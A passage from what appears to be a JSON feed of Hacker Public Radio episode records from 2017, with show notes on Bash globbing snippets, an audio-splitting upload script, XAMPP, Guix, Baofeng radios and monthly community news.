                                                            After nearly two years Andrew (@mcnalu) and Dave have prepared another show of some of their favourite music from Magnatune for your pleasure.

                                                            \n\n\n\n\n\n\n

                                                            Links

                                                            \n\n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Magnatune,music","version":0,"downloads":0,"valid":1}, {"id":2298,"date":"2017-05-24","title":"Phantom Power Drain","duration":273,"summary":"diagnosing a phantom power drain on an automobile","notes":"
                                                              \n
                                                            1. disconnect negative battery cable.
                                                            2. \n
                                                            3. connect multimeter between battery and cable.
                                                            4. \n
                                                            5. read amp draw... 15-20 millivolts milliamps is on the high end.
                                                            6. \n
                                                            7. unplug fuses one at a time, until the problem circuit is identified.
                                                            8. \n
                                                            \n

                                                            ... some lip smacking, and vocal fry.

                                                            \n\n

                                                            Corrected 2017-05-27 - Editor

                                                            \n","hostid":329,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"automotive","version":0,"downloads":0,"valid":1}, {"id":2299,"date":"2017-05-25","title":"What's in My Bag","duration":376,"summary":"Here are the five items in the bag I take to my job.","notes":"

                                                            A computer instructor explains why there is a flashlight, a flash drive, a set of picture dice, a small notebook, and a cell phone in his bag.

                                                            \n","hostid":250,"series":23,"explicit":0,"license":"CC-BY-SA","tags":"instructor, bag","version":0,"downloads":0,"valid":1}, {"id":2300,"date":"2017-05-26","title":"The first Intel CompuStick","duration":655,"summary":"A talk about the original intel compute stick with ubuntu factory installed","notes":"

                                                            Well basically the stick out of the box was not very usable. I had to struggle with it for a long time to make it work for me doing even the most basic tasks. I went to https://linuxiumcomau.blogspot.com/ and things got better.

                                                            ","hostid":129,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Intel CompuStick,Ubuntu,UEFI","version":0,"downloads":0,"valid":1}, {"id":2301,"date":"2017-05-29","title":"Baofeng UV5R VHF/UHF Handset part 3","duration":804,"summary":"An in depth series about the Baofeng UV5R VHF/UHF hand-held transceiver.","notes":"

                                                            This episode will be right up your street if you like rambling podcasts.

                                                            \n

                                                            I planned to cover the supplied accessories of the Baofeng UV5R VHF / UHF Hand Held Transceiver however somewhere along the line I rambled off topic and started blathering on about a whole range of topics.

                                                            \n

                                                            I cover the VHF / UHF spectrum, radio frequency, wavelength Omni-directional antennas, mains hum time stamp fingerprinting among other things.

                                                            \n

                                                            Sit back and enjoy.

                                                            \n","hostid":201,"series":43,"explicit":0,"license":"CC-BY-SA","tags":"Amateur Radio","version":0,"downloads":0,"valid":1}, {"id":2302,"date":"2017-05-30","title":"Bash snippet - nullglob","duration":428,"summary":"After learning about the nullglob option I have started to use it","notes":"

                                                            Bash snippet - nullglob

                                                            \n

                                                            I recently did an HPR show about Bash filename expansion and described the 'shopt' command and its options. One of the options I talked about was 'nullglob' which controls what is returned from an expansion when no files match.

                                                            \n

                                                            When 'nullglob' is enabled, and a pattern does not match, nothing is returned. When it is disabled (the default) then the pattern itself is returned.

                                                            \n

                                                            Although I didn't think I'd ever need to, I recently wrote a script where I used 'nullglob', and thought I would share a snippet of the code to demonstrate what I did.

                                                            \n

                                                            The script is for managing mail messages containing tag and summary updates. I use Thunderbird for my mail and have configured it to drop these messages into a directory so I can process them. I use Thunderbird's message filters to do this. A certain amount of Spam is also received, and sometimes valid messages need a bit of work before they can be processed.

                                                            \n

                                                            The directory where the messages are saved (the spool area) is stored in the variable 'MAILDROP' earlier in the script.

                                                            \n
                                                              1 #\n  2 # Find the files and store their names in an array. Use 'nullglob' so we get\n  3 # nothing when there is nothing, then revert to the original setting\n  4 #\n  5 NG="$(shopt -p nullglob)"\n  6 shopt -s nullglob\n  7 MESSAGES=( $MAILDROP/*.eml )\n  8 eval "$NG"\n  9 \n 10 #\n 11 # Exit if there's nothing to do or report what's there\n 12 #\n 13 if [[ ${#MESSAGES[@]} -gt 0 ]]; then\n 14     echo "Files in the spool area:"\n 15     printf "%s\\n" "${MESSAGES[@]}"\n 16 else\n 17     echo "The spool area is empty"\n 18     exit\n 19 fi
                                                            \n

                                                            The variable 'NG' holds the state of 'nullglob' before the script modifies it. Remember that 'shopt -p' returns a list of commands that will revert the named options to their current state.

                                                            \n

                                                            Next (line 6) the 'nullglob' option is enabled.

                                                            \n

                                                            The array 'MESSAGES' is created on line 7 to hold the list of mail files found in the spool area. This is done with a pattern which matches files that end with the string '.eml'. If we didn't have 'nullglob' enabled then when there were no files the array would contain the pattern - which would be misleading.

                                                            \n

                                                            Having collected the file details 'nullglob' is turned off by executing the command in the variable 'NG' on line 8.

                                                            \n

                                                            You might think that the script could just turn 'nullglob' on then turn it off again when it's no longer needed. However, I prefer to use the technique I have shown here because it needs to have no knowledge of the state of the option before it's set, and restores that state afterwards.

                                                            \n

                                                            By line 13 the array 'MESSAGES' either contains a list of files or is empty. The script checks for these two cases by determining how many elements are in the array. Greater than zero means we have files to process and they are listed in lines 14 and 15. The script then goes on to do various things with the files.

                                                            \n

                                                            If there were no files then the script reports this and exits.

                                                            \n

                                                            That's it! This is not the only way to do this, but I like to write scripts that call as few sub-processes as I can, and this way appeals for that reason.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"Bash,shopt,nullglob,filename expansion","version":0,"downloads":0,"valid":1}, {"id":2303,"date":"2017-05-31","title":"Kdenlive Part 5 All About Audio","duration":922,"summary":"Recording Audio in Kdenlive","notes":"

                                                            Hello again HPR listeners this is Geddes with you again with Kdenlive part 5 All About Audio. The topics included are:

                                                            \n
                                                              \n
                                                            • Audio Recording and Synchronization

                                                            • \n
                                                            • Best Practices for a Basic Mix

                                                            • \n
                                                            • Exporting

                                                            • \n
                                                            \n

                                                            Here's the link to the original article. https://opensource.com/life/11/12/kdenlive-part-5-all-about-audio

                                                            ","hostid":310,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Kdenlive,opensource.com,recording,audio","version":0,"downloads":0,"valid":1}, {"id":2304,"date":"2017-06-01","title":"Using Gnome 3 for the First Time","duration":643,"summary":"Shane just switched his desktop environment from XFCE to Gnome 3. Here is his experience, so far.","notes":"

                                                            Here are the three Gnome 3 extensions I am enjoying:

                                                            \n","hostid":250,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"ubuntu, linux, xfce, gnome 3, desktop environment","version":0,"downloads":0,"valid":1}, {"id":2305,"date":"2017-06-02","title":"Configuring an HP Laptop for Dual Boot Linux and Windows 10","duration":684,"summary":"Installing Linux Ubuntu GNOME to dual boot with Windows 10 on an HP laptop.","notes":"

                                                            This presentation describes the installation of Ubuntu GNOME 16.04 to dual boot with Windows 10 Home on an HP Spectre x360-13 laptop. Previously, I had been using Linux in a virtual machine on Windows. After the update, there was a very significant improvement in performance working in Linux without the Windows/VM overhead. It turned out to not be difficult and was certainly worth doing.

                                                            \n

                                                            I found a lot of helpful information here: https://askubuntu.com/questions/666631

                                                            \n

                                                            Get Clonezilla here: https://clonezilla.org/

                                                            \n","hostid":356,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Linux, Dual-boot","version":0,"downloads":0,"valid":1}, {"id":2306,"date":"2017-06-05","title":"HPR Community News for May 2017","duration":5248,"summary":"HPR Volunteers talk about shows released and comments posted in May 2017","notes":"\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n TheDUDE, \n Knox.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            2281Mon2017-05-01HPR Community News for April 2017HPR Volunteers
                                                            2282Tue2017-05-02Pathfinder Adventure Card Gameklaatu
                                                            2283Wed2017-05-03Saving money shaving with double and single edge safety razorsDave Yates
                                                            2284Thu2017-05-04Resurrecting a dead ethernet switchmirwi
                                                            2285Fri2017-05-05The Tick ConspiracyTheDUDE
                                                            2286Mon2017-05-08Surviving a StrokeTony Hughes AKA TonyH1212
                                                            2287Tue2017-05-09Desparately Seeking Saving RMS - Introductiondodddummy
                                                            2288Wed2017-05-10Installing and using virtualenvwrapper for pythonKnox
                                                            2289Thu2017-05-11Sendy Send. Tell if your email has been read!!sigflup
                                                            2290Fri2017-05-12How to change the height of your Ironing boardKen Fallon
                                                            2291Mon2017-05-15Arch on CELESHannah, of Terra, of Sol
                                                            2292Tue2017-05-16Baofeng UV5R VHF/UHF Handset part 1MrX
                                                            2293Wed2017-05-17More supplementary Bash tipsDave Morriss
                                                            2294Thu2017-05-18Activities with a ToddlerShane Shennan
                                                            2295Fri2017-05-19MX LinuxTony Hughes AKA TonyH1212
                                                            2296Mon2017-05-22Baofeng UV5R VHF/UHF Handset part 2MrX
                                                            2297Tue2017-05-23More Magnatune FavouritesDave Morriss
                                                            2298Wed2017-05-24Phantom Power Drainbrian
                                                            2299Thu2017-05-25What's in My BagShane Shennan
                                                            2300Fri2017-05-26The first Intel CompuStickJWP
                                                            2301Mon2017-05-29Baofeng UV5R VHF/UHF Handset part 3MrX
                                                            2302Tue2017-05-30Bash snippet - nullglobDave Morriss
                                                            2303Wed2017-05-31Kdenlive Part 5 All About AudioGeddes
                                                            \n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available in the archives run\nexternally by Gmane\n(see below) and on the HPR server under Mailman.\n

                                                            \n

                                                            Note: since the summer of 2016 Gmane has changed location and is currently\nbeing reestablished. At the moment the HPR archive is not available there.

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2017-May/thread.html\n\n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.
                                                            \nThere are 50 comments in total.

                                                            \n

                                                            There are 8 comments on\n8 previous shows:

                                                            \n\n

                                                            There are 42 comments on 16 of this month's shows:

                                                            \n
                                                            • hpr2281\n(2017-05-01) \"HPR Community News for April 2017\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ndodddummy on 2017-05-06:\n\"dodddummy\"
                                                              • Comment 2:\nDave Morriss on 2017-05-16:\n\"Thanks for the explanation\"

                                                              \n
                                                            • hpr2283\n(2017-05-03) \"Saving money shaving with double and single edge safety razors\"\nby Dave Yates.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nQuvmoh on 2017-05-03:\n\"Smooth show\"
                                                              • Comment 2:\ndodddummy on 2017-05-04:\n\"Dave! The whole time i was wondering\"
                                                              • Comment 3:\nRoan on 2017-05-08:\n\"Mechanical saftey razors\"
                                                              • Comment 4:\nFrank on 2017-05-22:\"[no title]\"
                                                              • Comment 5:\nJonas on 2017-05-29:\n\"Welcome back!\"

                                                              \n
                                                            • hpr2284\n(2017-05-04) \"Resurrecting a dead ethernet switch\"\nby mirwi.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKrayon on 2017-05-04:\n\"Good job!\"
                                                              • Comment 2:\nJonathan Kulp on 2017-05-05:\n\"well done\"

                                                              \n
                                                            • hpr2286\n(2017-05-08) \"Surviving a Stroke\"\nby Tony Hughes AKA TonyH1212.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClinton Roy on 2017-05-08:\n\"Fatigue\"
                                                              • Comment 2:\nTony Hughes on 2017-05-09:\n\"Fatigue\"
                                                              • Comment 3:\nJonas on 2017-05-29:\n\"Great Info. \"

                                                              \n
                                                            • hpr2287\n(2017-05-09) \"Desparately Seeking Saving RMS - Introduction\"\nby dodddummy.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nBrenda J. Butler on 2017-05-10:\"[no title]\"
                                                              • Comment 2:\ndodddummy on 2017-05-14:\n\"Thatnks for the tip\"

                                                              \n
                                                            • hpr2288\n(2017-05-10) \"Installing and using virtualenvwrapper for python\"\nby Knox.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ndroops on 2017-05-11:\n\"Great episode\"
                                                              • Comment 2:\nBiasOpinion on 2017-05-16:\n\"More Python Help Please\"
                                                              • Comment 3:\nWindigo on 2017-05-31:\n\"Excellent advice\"

                                                              \n
                                                            • hpr2289\n(2017-05-11) \"Sendy Send. Tell if your email has been read!!\"\nby sigflup.
                                                            • \n
                                                            • \n
                                                              \n
                                                            • hpr2290\n(2017-05-12) \"How to change the height of your Ironing board\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\njwp on 2017-05-29:\n\"True Love\"

                                                              \n
                                                            • hpr2292\n(2017-05-16) \"Baofeng UV5R VHF/UHF Handset part 1\"\nby MrX.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nDave Morriss on 2017-05-18:\n\"Strange urge to make a show...\"
                                                              • Comment 2:\nMrX on 2017-05-31:\n\"Re. Strange urge to make a show...\"

                                                              \n
                                                            • hpr2293\n(2017-05-17) \"More supplementary Bash tips\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nJonathan Kulp on 2017-05-21:\n\"What about with SCP?\"
                                                              • Comment 2:\nDave Morriss on 2017-05-21:\n\"SCP is a bit weird\"
                                                              • Comment 3:\nDave Morriss on 2017-05-22:\n\"SCP without extended globs\"
                                                              • Comment 4:\nJonathan Kulp on 2017-05-22:\n\"Details, details...\"
                                                              • Comment 5:\nDave Morriss on 2017-05-22:\n\"TMTOWTDI\"
                                                              • Comment 6:\nJonathan Kulp on 2017-05-22:\n\"Ken is smiling\"
                                                              • Comment 7:\nclacke on 2017-05-23:\n\"scp brace expansion??!\"
                                                              • Comment 8:\nDave Morriss on 2017-05-24:\n\"scp is a bit of a hack!!\"

                                                              \n
                                                            • hpr2294\n(2017-05-18) \"Activities with a Toddler\"\nby Shane Shennan.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nWindigo on 2017-05-19:\n\"Timely\"
                                                              • Comment 2:\ndodddummy on 2017-05-19:\n\"Nice show\"
                                                              • Comment 3:\nDavid Morriss on 2017-05-20:\n\"This was great\"
                                                              • Comment 4:\nJonathan Kulp on 2017-05-21:\n\"Ride the Bus\"
                                                              • Comment 5:\nclacke on 2017-05-22:\n\"Tickling\"

                                                              \n
                                                            • hpr2295\n(2017-05-19) \"MX Linux\"\nby Tony Hughes AKA TonyH1212.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\njwp on 2017-05-29:\n\"Nice litle Distro Review\"

                                                              \n
                                                            • hpr2297\n(2017-05-23) \"More Magnatune Favourites\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nJonas on 2017-05-29:\n\"Great listen.\"
                                                              • Comment 2:\nDave Morriss on 2017-05-29:\n\"Thanks for the feedback\"

                                                              \n
                                                            • hpr2298\n(2017-05-24) \"Phantom Power Drain\"\nby brian.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbrian on 2017-05-27:\n\"oops\"
                                                              • Comment 2:\nJonas on 2017-05-29:\n\"I did not know that. \"

                                                              \n
                                                            • hpr2300\n(2017-05-26) \"The first Intel CompuStick\"\nby JWP.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\njwp on 2017-05-29:\n\"Sound Quality\"

                                                              \n
                                                            • hpr2302\n(2017-05-30) \"Bash snippet - nullglob\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nclacke on 2017-05-30:\n\"Thanks!\"
                                                              • Comment 2:\nDave Morriss on 2017-05-31:\n\"Glad you found it useful\"

                                                              \n
                                                            \n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2307,"date":"2017-06-06","title":"Baofeng UV5R VHF/UHF Handset part 4","duration":942,"summary":"An in depth series about the Baofeng UV5R VHF/UHF hand-held transceiver.","notes":"

                                                            In this episode I cover the controls and connectors around the outside edge of the Baofeng UV5R VHF / UHF Hand Held Transceiver

                                                            \n\n

                                                            I couldn't find a link to the supposed problem with the headphone socket on the Baofeng UV5R and despite regularly plugging and unplugging the covert earpiece so far mine seems to be working OK as long as I don't push the plug too far in. Perhaps on this radio it is less of a problem than I first thought.

                                                            \n","hostid":201,"series":43,"explicit":0,"license":"CC-BY-SA","tags":"Amateur Radio","version":0,"downloads":0,"valid":1}, {"id":2308,"date":"2017-06-07","title":"Everyday package operations in Guix","duration":986,"summary":"Here's how I use Guix in my day-to-day. Fleshed out audio of a comment on ep 2198.","notes":"

                                                            Back at hpr2198 :: How awesome is Guix and why will it take over the world I wrote a comment about how I use guix in everyday practice. Here's the full episode for that comment.

                                                            \n

                                                            The most common operations I do are:

                                                            \n
                                                              \n
                                                            • guix environment --ad-hoc ncdu, where ncdu stands for something I heard about and want to try out, or something I only use once a month. It is then “installed” in the spawned sub-shell only. This is an awesome feature.
                                                                \n
                                                              • If you haven’t heard about ncdu, look it up.
                                                              • \n
                                                              • Also in ~/.bash_aliases
                                                              • \n
                                                              • Also in ~/.local/share/applications\n
                                                                • Using stow, of course
                                                                \n
                                                            • \n
                                                            • guix package -i ncdu if it turned out to be something I like and use every day
                                                            • \n
                                                            • guix pull to get the latest definitions for this user
                                                            • \n
                                                            • guix package -u to upgrade my permanently installed stuff for this user
                                                            • \n
                                                            • guix package -d to erase history of what I had installed before and release these references for collection
                                                            • \n
                                                            • guix gc to reclaim my precious disk space

                                                              \n
                                                            • \n
                                                            • Followup episode material:

                                                              \n
                                                                \n
                                                              • What's in my .bash_aliases?
                                                              • \n
                                                              • Decentralized source control, for real this time, with git-ssb
                                                              • \n
                                                              • What's so great about execline?
                                                              • \n
                                                              • What's a stow?
                                                                • How I got rid of stow and learned to love guix to the fullest (Future episode. That's not where I am today.)
                                                                • \n
                                                                • Listen kids, stow is not a package manager (warning: fediverse drama ahead). It's a symlink farm manager that I use for package management.
                                                              • \n
                                                              • Very short episode: ncdu, eh?
                                                              • \n
                                                              \n
                                                            • \n
                                                            ","hostid":311,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"guix,linux,nix,sysadmin,development","version":0,"downloads":0,"valid":1}, {"id":2309,"date":"2017-06-08","title":"Crowdsourcing Accessibility","duration":1354,"summary":"A show about my efforts to get lots of students to help correct transcriptions of my online lectures","notes":"

                                                            In order to meet basic accessibility standards, I need to have text alternatives to the audio of my online video lectures for my music appreciation class. I have a transcription tool called Dragon Dictate that can do most of the heavy lifting as far as getting a raw transcript of the audio, but the transcription it generates needs a lot of attention in terms of correction, capitalization, and punctuation. It also needs to have all of the text separated into logical paragraphs and it really helps to have proper section headings.

                                                            \n\n

                                                            There are 20 lectures in all, and I have finished doing 11 of them, but I still have nine to go and no time to do it. I had an idea to crowdsource this effort by giving extra-credit points to my students for doing little bits of it at a time. They get one extra-credit point for every one minute of lecture that they correct.

                                                            \n\n

                                                            I got the idea for this from the Distributed Proofreaders project, where volunteers work to help correct any mistakes that are found in the OCR scans of public-domain books before being posted on a website like Project Gutenberg. So far I've gotten about 30 minutes of lecture transcripts corrected by students who needed extra credit, and I have high hopes that we will finish the project either this summer or next fall.

                                                            \n\n

                                                            One excellent tool that I found while I was figuring out how to handle this project logistically is the Linux command line tool called mp3splt. I use this tool to cut the long lecture files up into one-minute segments like so:

                                                            \n\n
                                                            mp3splt -t 1.0.0 L13audio.mp3
                                                            \n\n

                                                            I also wrote my own script that will generate an HTML page with individual audio players for all of these one-minute audio files so that students can very easily choose an audio file to work on that is exactly one minute long. The script also pushes all of the audio files over to my server after creating ogg versions of the mp3s using mp32ogg.

                                                            \n\n\n
                                                            #!/bin/bash
                                                            \n\nurl='https://servername.edu/path/to/filedir'\npage=$(pwd)/$(basename $(pwd))_page.html\n\nLESSON=$(ls *.mp3 |head -n1 | sed -e 's/audio.*$//')\n\ncat >> $page <<EOFtop\n<h2><a href="https://servername.edu/path/to/filedir/$LESSON.html">RAW TRANSCRIPT HERE</a></h2>\nEOFtop\n\nfor i in *.mp3; do\n stem=$(basename $i .mp3)\n mp32ogg $i \n sleep .2\ncat >> $page <<EOF\n\n<h3>File: "$i"</h3>\n<div class="centered">\n\t<audio controls>\n\t\t<source src="$url/$stem.mp3" type="audio/mpeg">\n\t\t<source src="$url/$stem.ogg" type="audio/ogg">\n\t</audio>\n</div>\nEOF\ndone\n\nscp *.ogg servername:~/path/to/filedir/\nsleep 1\nscp *.mp3 servername:~/path/to/filedir/\n#sleep 1\nscp $page servername:~/path/to/filedir/\n
                                                            \n\n\n

                                                            Links

                                                            \n\n
                                                              \n\t
                                                            • Bloviate: to speak or write verbosely and windily—pundits bloviating on the radio
                                                            • \n
                                                            \n","hostid":238,"series":79,"explicit":0,"license":"CC-BY-SA","tags":"Accessibility, scripting, audio editing, speech-to-text","version":0,"downloads":0,"valid":1}, {"id":2310,"date":"2017-06-09","title":"Kdenlive Part 6 Workflow and Conclusion. ","duration":1136,"summary":"A look at the final Kdenlive project workflow and conclusion.","notes":"

                                                            Hello HPR listeners this is Geddes with part 6 the final article in this Kdenlive series entitled Workflow and Conclusion.

                                                            \n

                                                            The topics included are:

                                                            \n
                                                              \n
                                                            • The Gold Master
                                                            • \n
                                                            • The render menu and the gold master
                                                            • \n
                                                            • Encoding Workflow
                                                            • \n
                                                            • Post production workflow
                                                            • \n
                                                            • Conclusion
                                                            • \n
                                                            \n

                                                            Here's the link to the original article.

                                                            \n

                                                            https://opensource.com/life/12/1/kdenlive-part-6-workflow-and-conclusion

                                                            \n","hostid":310,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Kdenlive,opensource.com,workflow","version":0,"downloads":0,"valid":1}, {"id":2311,"date":"2017-06-12","title":"Baofeng UV5R VHF/UHF Handset part 5","duration":1166,"summary":"An in depth series about the Baofeng UV5R VHF/UHF hand-held transceiver.","notes":"

                                                            In this episode I cover the rear and front panel features & controls of the Baofeng UV5R VHF / UHF Hand Held Transceiver

                                                            \n","hostid":201,"series":43,"explicit":0,"license":"CC-BY-SA","tags":"Amateur Radio","version":0,"downloads":0,"valid":1}, {"id":2312,"date":"2017-06-13","title":"Troubleshooting Websites with XAMPP","duration":886,"summary":"Frank describes how he used XAMPP to clone his website to localhost so he could shoot some trouble.","notes":"

                                                            Using XAMMP To Toubleshoot a Website

                                                            \n

                                                            XAMMP is package containing a complete LAMPP stack configured to work out of the box. It is avalable for Mac, Windows, and Linux from ApacheFriends.org and includes

                                                            \n
                                                              \n
                                                            1. Apache
                                                            2. \n
                                                            3. MariaDB
                                                            4. \n
                                                            5. PHP
                                                            6. \n
                                                            7. Perl
                                                            8. \n
                                                            \n

                                                            XAMPP is excellent for testing a new website, testing updates for an existing site, or troubleshooting a misbehaving site.

                                                            \n

                                                            In this podcast, Frank tells how to set up XAMPP against the background of having recently had to troubleshoot his own recalcitrant website.

                                                            \n

                                                            XAMPP startup messages:

                                                            \n
                                                            # cd /opt/lampp\n# ./lampp start\nStarting XAMPP for Linux 5.6.30-0...\nXAMPP: Starting Apache...ok.\nXAMPP: Starting MySQL...ok.\nXAMPP: Starting ProFTPD...ok.
                                                            \n

                                                            Links:

                                                            \n","hostid":195,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"XAMPP,Apache,PHP,Perl,Wordpress","version":0,"downloads":0,"valid":1}, {"id":2313,"date":"2017-06-14","title":"NilFS2","duration":2099,"summary":"Klaatu talks about NilFS2","notes":"

                                                            \nKlaatu talks about NilFS2, including how to monitor checkpoints, create snapshots, and browse snapshots.\n

                                                            \n

                                                            \nNILFS or NILFS2 (New Implementation of a Log-structured File System) is a log-structured file system implementation for the Linux kernel. It is being developed by Nippon Telegraph and Telephone Corporation (NTT) CyberSpace Laboratories and a community from all over the world. NILFS was released under the terms of the GNU General Public License (GPL).\n
                                                            \nhttps://en.wikipedia.org/wiki/NILFS\n

                                                            \n

                                                            \nhttps://nilfs.sourceforge.net/en/\n

                                                            \n","hostid":78,"series":77,"explicit":0,"license":"CC-BY-SA","tags":"file system,NILFS,NILFS2,checkpoint,snapshot","version":0,"downloads":0,"valid":1}, {"id":2314,"date":"2017-06-15","title":"Bad Caps","duration":1584,"summary":"NYbill talking about repairing a computer motherboard.","notes":"\n

                                                            NYbill talks about repairing a motherboard.

                                                            \n

                                                            Errata:

                                                            \n

                                                            Even though I go into a bit about different types of capacitors I didn't plan on this being an episode about capacitors themselves. Even though I mention some different types. Bonus, there are also Trimmer Caps.

                                                            \n

                                                            And yes, I know LCD's don't have a trace. The old school CRT user popped out there. You all knew what I meant.

                                                            \n

                                                            Also, I know I mentioned getting a 90 piece cap set from Banggood. I decided to order proper Nichicon replacements from Digikey. Had this been a repair for myself, I would use the no name caps I ordered from China. But, being this repair is for a friend, I figured I better get the real deal. ...BTW they were 220 uf caps.

                                                            \n

                                                            (Thanks Jezra for the musical interlude. We were joking calling it, "Time Passing".)

                                                            \n

                                                            Pics for the episode:

                                                            \n\n","hostid":235,"series":103,"explicit":1,"license":"CC-BY-SA","tags":"repair,motherboard,capacitor,polymer electrolytic capacitor,ceramic capacitor","version":0,"downloads":0,"valid":1}, {"id":2315,"date":"2017-06-16","title":"Penguicon 2017 Report","duration":1211,"summary":"Penguicon 2017 took place on April 28-30, 2017 in Southfield, Michigan","notes":"

                                                            Penguicon 2017 is a combined technology and science fiction convention in Southfield, Michigan, a suburb of Detroit, and presents over 500 hours of programming over the entire weekend. Of this, around 100 hours are open source, tech-related. In this episode I tell you about my own personal experience at Penguicon this year.

                                                            \n

                                                            Links:

                                                            \n","hostid":198,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Penguicon 2017, open source event","version":0,"downloads":0,"valid":1}, {"id":2316,"date":"2017-06-19","title":"Baofeng UV5R VHF/UHF Handset part 6","duration":941,"summary":"An in depth series about the Baofeng UV5R VHF/UHF hand-held transceiver.","notes":"

                                                            In this episode I cover the menus 0 to 5 of the Baofeng UV5R VHF / UHF Hand Held Transceiver

                                                            \n\n","hostid":201,"series":43,"explicit":0,"license":"CC-BY-SA","tags":"Amateur Radio","version":0,"downloads":0,"valid":1}, {"id":2317,"date":"2017-06-20","title":"Bash snippet - extglob and scp","duration":1707,"summary":"How does scp manage extended glob patterns?","notes":"

                                                            Bash snippet - extglob and scp

                                                            \n

                                                            The Problem

                                                            \n

                                                            Following on from my last show on filename expansion, concentrating on extended patterns and the extglob option, I was asked a question by Jon Kulp in the comment section.

                                                            \n

                                                            Jon was using ls *(*.mp3|*.ogg) to find all OGG and MP3 files in a directory which also held other files. However, when he wanted to copy this subset of files elsewhere he had problems using this expression in an scp command.

                                                            \n

                                                            Having done some investigations to help solve this I thought I'd put what I found into an HPR episode and share it, and this is the show.

                                                            \n

                                                            Along the way clacke commented too and this led me to more investigations!

                                                            \n

                                                            Long notes

                                                            \n

                                                            As often happens, my idea of a brief episode turned into something much longer, so I converted the notes into long notes which you can find here. In them I have marked some sections which you might want to skip over -- unless you are as much of a geek as I am! I have not covered these sections in detail in the audio.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"Bash,shopt,filename expansion,scp,rsync","version":0,"downloads":0,"valid":1}, {"id":2318,"date":"2017-06-21","title":"Talking about my thinkpads","duration":2715,"summary":"I talk about why I love my thinkpads so much and how I appreciate having them","notes":"

                                                            \nhttps://support.lenovo.com/us/en/solutions/pd015734\n

                                                            \n

                                                            \nhttps://support.lenovo.com/us/en/solutions/migr-75044\n

                                                            ","hostid":297,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"thinkpad, laptop, lenovo, x201, t420","version":0,"downloads":0,"valid":1}, {"id":2319,"date":"2017-06-22","title":"Minimal Music Site 17.05.39 now available on sourceforge.net","duration":1809,"summary":"MattKingUSA review of dell gaming laptop and an update on Minimal Music Site","notes":"

                                                            Hey this is MattKingUSA doing an update of my project Minimal Music Site. And also a review of my new laptop! Thanks for listening!

                                                            \n","hostid":340,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"review,laptop,php,cms,music","version":0,"downloads":0,"valid":1}, {"id":2320,"date":"2017-06-23","title":"Living Computers: Museum + Labs","duration":938,"summary":"Free Shell accounts on old Computers with old programing langs","notes":"

                                                            From Wikipedia:

                                                            \n
                                                            \n

                                                            Living Computers: Museum + Labs (LCM+L) is a computer and technology museum located in the SoDo neighborhood of Seattle, Washington. LCM+L showcases vintage computers which provide interactive sessions, either through time-sharing operating systems or single-user interfaces. This gives users a chance to actually use the computers on-line or in person in the museum. An expansion adds direct touch experiences with contemporary technologies such as virtual reality, self-driving cars, the internet of things, and robotics. This puts today's computer technology in the context of how it's being used to tackle real-world issues. LCM+L also hosts a wide range of educational programs and events in their state-of-the art classroom and lab spaces.

                                                            \n
                                                            \n","hostid":129,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"museum,vintage computer","version":0,"downloads":0,"valid":1}, {"id":2321,"date":"2017-06-26","title":"Baofeng UV5R VHF/UHF Handset part 7","duration":1107,"summary":"An in depth series about the Baofeng UV5R VHF/UHF hand-held transceiver.","notes":"

                                                            In this episode I cover the menus 6 to 11 of the Baofeng UV5R VHF / UHF Hand Held Transceiver

                                                            \n

